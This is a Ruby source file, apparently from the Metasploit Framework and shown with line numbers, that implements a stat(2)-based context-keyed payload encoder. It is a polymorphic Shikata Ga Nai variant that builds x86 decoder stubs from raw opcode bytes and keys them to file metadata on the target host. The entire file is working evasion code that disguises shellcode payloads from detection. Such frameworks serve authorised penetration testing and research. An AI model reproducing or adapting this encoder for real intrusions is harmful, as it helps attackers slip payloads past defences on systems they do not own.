Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'rex/poly'
7

8
class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
9

10
  # Manual ranking because the stat(2) key is generated and supplied
11
  # manually.
12

13
  Rank = ManualRanking
14

15
  def initialize
16
    super(
17
      'Name'             => 'stat(2)-based Context Keyed Payload Encoder',
18
      'Description'      => %q{
19
        This is a Context-Keyed Payload Encoder based on stat(2)
20
        and Shikata Ga Nai.
21
      },
22
      'Author'           => 'Dimitris Glynos',
23
      'Arch'             => ARCH_X86,
24
      'License'          => MSF_LICENSE,
25
      'Decoder'          =>
26
        {
27
          'KeySize'    => 4,
28
          'BlockSize'  => 4
29
        })
30

31
    register_options(
32
      [
33
        OptString.new('STAT_KEY', [ true,
34
          "STAT key from target host (see tools/context/stat-key utility)",
35
          "0x00000000" ]),
36
        OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls" ]),
37
      ])
38
  end
39

40
  def obtain_key(buf, badchars, state)
41
    state.key = datastore['STAT_KEY'].hex
42
    return state.key
43
  end
44

45
  #
46
  # Generates the shikata decoder stub.
47
  #
48
  def decoder_stub(state)
49
    # If the decoder stub has not already been generated for this state, do
50
    # it now.  The decoder stub method may be called more than once.
51
    if (state.decoder_stub == nil)
52
      # Shikata will only cut off the last 1-4 bytes of it's own end
53
      # depending on the alignment of the original buffer
54
      cutoff = 4 - (state.buf.length & 3)
55
      block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
56

57
      # Take the last 1-4 bytes of shikata and prepend them to the buffer
58
      # that is going to be encoded to make it align on a 4-byte boundary.
59
      state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
60

61
      # Cache this decoder stub.  The reason we cache the decoder stub is
62
      # because we need to ensure that the same stub is returned every time
63
      # for a given encoder state.
64
      state.decoder_stub = block
65
    end
66

67
    state.decoder_stub
68
  end
69

70
protected
71
  def keygen_stub
72
    fname = datastore['STAT_FILE']
73
    flen = fname.length
74

75
    payload =
76
      "\xd9\xee" +            # fldz
77
      "\xd9\x74\x24\xf4" +    # fnstenv -0xc(%esp)
78
      "\x5b" +                # pop %ebx
79
      Rex::Arch::X86.jmp_short(flen) +    # jmp over
80
      fname +                 # the filename
81
      "\x83\xc3\x09" +        # over: add $9, %ebx
82
      "\x8d\x53" +  	         # lea filelen(%ebx), %edx
83
      Rex::Arch::X86.pack_lsb(flen) +    #
84
      "\x31\xc0" +	         # xor %eax,%eax
85
      "\x88\x02" +            # mov %al,(%edx)
86
      "\x8d\x4c\x24\xa8" +    # lea -0x58(%esp),%ecx
87
      "\xb0\xc3" +            # mov $0xc3, %al
88
      "\xcd\x80" +            # int $0x80
89
      "\x8b\x41\x2c" +        # mov 0x2c(%ecx),%eax
90
      "\x33\x41\x48"          # xor 0x48(%ecx),%eax
91
  end
92

93
  #
94
  # Returns the set of FPU instructions that can be used for the FPU block of
95
  # the decoder stub.
96
  #
97
  def fpu_instructions
98
    fpus = []
99

100
    0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
101
    0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
102
    0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
103
    0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
104
    0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
105

106
    fpus << "\xd9\xd0"
107
    fpus << "\xd9\xe1"
108
    fpus << "\xd9\xf6"
109
    fpus << "\xd9\xf7"
110
    fpus << "\xd9\xe5"
111

112
    # This FPU instruction seems to fail consistently on Linux
113
    #fpus << "\xdb\xe1"
114

115
    fpus
116
  end
117

118
  #
119
  # Returns a polymorphic decoder stub that is capable of decoding a buffer
120
  # of the supplied length and encodes the last cutoff bytes of itself.
121
  #
122
  def generate_shikata_block(state, length, cutoff)
123
    # Declare logical registers
124
    key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
125
    count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
126
    addr_reg  = Rex::Poly::LogicalRegister::X86.new('addr')
127

128
    # Declare individual blocks
129
    endb = Rex::Poly::SymbolicBlock::End.new
130

131
    # FPU blocks
132
    fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)
133
    fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")
134

135
    # Get EIP off the stack
136
    popeip = Rex::Poly::LogicalBlock.new('popeip',
137
      Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
138

139
    # Clear the counter register
140
    clear_register = Rex::Poly::LogicalBlock.new('clear_register',
141
      "\x31\xc9",
142
      "\x29\xc9",
143
      "\x33\xc9",
144
      "\x2b\xc9")
145

146
    # Initialize the counter after zeroing it
147
    init_counter = Rex::Poly::LogicalBlock.new('init_counter')
148

149
    # Divide the length by four but ensure that it aligns on a block size
150
    # boundary (4 byte).
151
    length += 4 + (4 - (length & 3)) & 3
152
    length /= 4
153

154
    if (length <= 255)
155
      init_counter.add_perm("\xb1" + [ length ].pack('C'))
156
    else
157
      init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
158
    end
159

160
    # Key initialization block
161

162
    # Decoder loop block
163
    loop_block = Rex::Poly::LogicalBlock.new('loop_block')
164

165
    xor  = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
166
    xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
167
    xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
168
    add  = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
169
    add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
170
    add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
171
    sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
172
    add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
173

174
    loop_block.add_perm(
175
      Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
176
      Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
177
      Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
178
      Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
179
      Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
180
      Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })
181

182
    # Loop instruction block
183
    loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
184
      "\xe2\xf5")
185

186
    # Define block dependencies
187
    fnstenv.depends_on(fpu)
188
    popeip.depends_on(fnstenv)
189
    init_counter.depends_on(clear_register)
190
    loop_block.depends_on(popeip, init_counter)
191
    loop_inst.depends_on(loop_block)
192

193
    # Generate a permutation saving the EAX, ECX and ESP registers
194
    loop_inst.generate([
195
      Rex::Arch::X86::EAX,
196
      Rex::Arch::X86::ESP,
197
      Rex::Arch::X86::ECX ], nil, state.badchars)
198
  end
199
end
200

201